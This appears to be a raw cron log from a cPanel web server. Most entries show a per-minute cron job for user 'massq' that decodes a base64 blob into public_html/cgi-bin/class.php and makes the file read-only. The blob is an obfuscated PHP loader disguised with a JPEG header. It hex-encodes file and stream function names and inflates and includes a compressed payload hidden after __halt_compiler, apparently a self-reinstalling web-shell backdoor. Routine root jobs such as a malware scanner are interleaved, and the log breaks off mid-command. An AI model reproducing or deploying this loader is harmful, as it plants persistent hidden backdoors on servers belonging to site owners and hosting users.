Nov  9 09:46:01 server CROND[15466]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 09:47:01 server CROND[16127]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 09:48:01 server CROND[16671]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 09:49:01 server CROND[17541]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 09:50:01 server CROND[18368]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 09:50:01 server CROND[18371]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 09:50:01 server CROND[18373]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 09:50:01 server CROND[18375]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 09:50:01 server CROND[18377]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov  9 09:51:01 server CROND[19245]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 09:52:01 server CROND[20057]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 09:53:01 server CROND[20866]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 09:54:01 server CROND[21779]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 09:55:01 server CROND[22598]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 09:55:01 server CROND[22600]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 09:55:01 server CROND[22602]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 09:56:01 server CROND[23458]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 09:57:01 server CROND[24291]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 09:57:01 server CROND[24292]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov  9 09:58:01 server CROND[25100]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 09:59:01 server CROND[25976]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 